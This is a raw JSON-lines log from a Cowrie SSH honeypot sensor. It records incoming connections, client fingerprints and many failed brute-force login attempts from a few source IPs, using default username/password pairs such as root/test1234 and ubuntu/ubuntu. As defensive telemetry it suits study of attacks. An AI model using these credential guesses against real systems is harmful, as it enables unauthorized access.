{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:41.676738Z","src_ip":"192.109.200.78","session":"d2b975861869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:41.918544Z","src_ip":"176.65.139.95","session":"67dcf2a253e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:42.225237Z","src_ip":"192.109.200.78","session":"d2b975861869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:43.042245Z","src_ip":"176.65.139.95","session":"67dcf2a253e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":38211,"dst_ip":"10.17.0.5","dst_port":22,"session":"3268608ce5b0","protocol":"ssh","message":"New connection: 2.57.121.112:38211 (10.17.0.5:22) [session: 3268608ce5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:43.072830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:43.078793Z","src_ip":"2.57.121.112","session":"3268608ce5b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:43.184304Z","src_ip":"2.57.121.112","session":"3268608ce5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:43.311003Z","src_ip":"192.109.200.78","session":"d2b975861869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200193","message":"login attempt [admin/200193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:43.687297Z","src_ip":"2.57.121.112","session":"3268608ce5b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200191","message":"login attempt [admin/200191] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:44.795081Z","src_ip":"2.57.121.112","session":"3268608ce5b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56722,"dst_ip":"159.203.135.109","dst_port":22,"session":"66de9dd9d9d2","protocol":"ssh","message":"New connection: 192.109.200.78:56722 (159.203.135.109:22) [session: 66de9dd9d9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:45.594698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:45.599237Z","src_ip":"192.109.200.78","session":"66de9dd9d9d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:45.688428Z","src_ip":"192.109.200.78","session":"66de9dd9d9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200186","message":"login attempt [admin/200186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:45.902812Z","src_ip":"2.57.121.112","session":"3268608ce5b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:46.104715Z","src_ip":"192.109.200.78","session":"66de9dd9d9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20011998","message":"login attempt [admin/20011998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:47.010798Z","src_ip":"2.57.121.112","session":"3268608ce5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:47.191291Z","src_ip":"192.109.200.78","session":"66de9dd9d9d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41748,"dst_ip":"159.203.135.109","dst_port":22,"session":"a80412afbc6e","protocol":"ssh","message":"New connection: 176.65.139.95:41748 (159.203.135.109:22) [session: a80412afbc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:47.326379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:47.336220Z","src_ip":"176.65.139.95","session":"a80412afbc6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:47.414123Z","src_ip":"176.65.139.95","session":"a80412afbc6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:47.942433Z","src_ip":"176.65.139.95","session":"a80412afbc6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20011974","message":"login attempt [admin/20011974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:48.117207Z","src_ip":"2.57.121.112","session":"3268608ce5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:49.027712Z","src_ip":"176.65.139.95","session":"a80412afbc6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:49.223408Z","src_ip":"2.57.121.112","session":"3268608ce5b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60968,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae87c9ff924d","protocol":"ssh","message":"New connection: 192.109.200.78:60968 (159.203.135.109:22) [session: ae87c9ff924d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:49.686873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:49.692345Z","src_ip":"192.109.200.78","session":"ae87c9ff924d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:49.776504Z","src_ip":"192.109.200.78","session":"ae87c9ff924d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:50.022212Z","src_ip":"192.109.200.78","session":"ae87c9ff924d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:51.148503Z","src_ip":"192.109.200.78","session":"ae87c9ff924d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33390,"dst_ip":"159.203.135.109","dst_port":22,"session":"37a478970cf9","protocol":"ssh","message":"New connection: 176.65.139.95:33390 (159.203.135.109:22) [session: 37a478970cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:53.477339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:53.500038Z","src_ip":"176.65.139.95","session":"37a478970cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:53.610420Z","src_ip":"176.65.139.95","session":"37a478970cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32776,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9f6dc3f90d","protocol":"ssh","message":"New connection: 192.109.200.78:32776 (159.203.135.109:22) [session: 6f9f6dc3f90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:53.742499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:53.748062Z","src_ip":"192.109.200.78","session":"6f9f6dc3f90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:53.832580Z","src_ip":"192.109.200.78","session":"6f9f6dc3f90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:53.997525Z","src_ip":"176.65.139.95","session":"37a478970cf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:54.084261Z","src_ip":"192.109.200.78","session":"6f9f6dc3f90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:55.090299Z","src_ip":"176.65.139.95","session":"37a478970cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:55.168888Z","src_ip":"192.109.200.78","session":"6f9f6dc3f90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50320,"dst_ip":"159.203.135.109","dst_port":22,"session":"4616e05c1b7d","protocol":"ssh","message":"New connection: 159.203.92.129:50320 (159.203.135.109:22) [session: 4616e05c1b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:57.293861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:57.302417Z","src_ip":"159.203.92.129","session":"4616e05c1b7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:57.307291Z","src_ip":"159.203.92.129","session":"4616e05c1b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Log","password":"Log","message":"login attempt [Log/Log] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:57.320399Z","src_ip":"159.203.92.129","session":"4616e05c1b7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32794,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a80efcd5e85","protocol":"ssh","message":"New connection: 192.109.200.78:32794 (159.203.135.109:22) [session: 1a80efcd5e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:57.784604Z"}
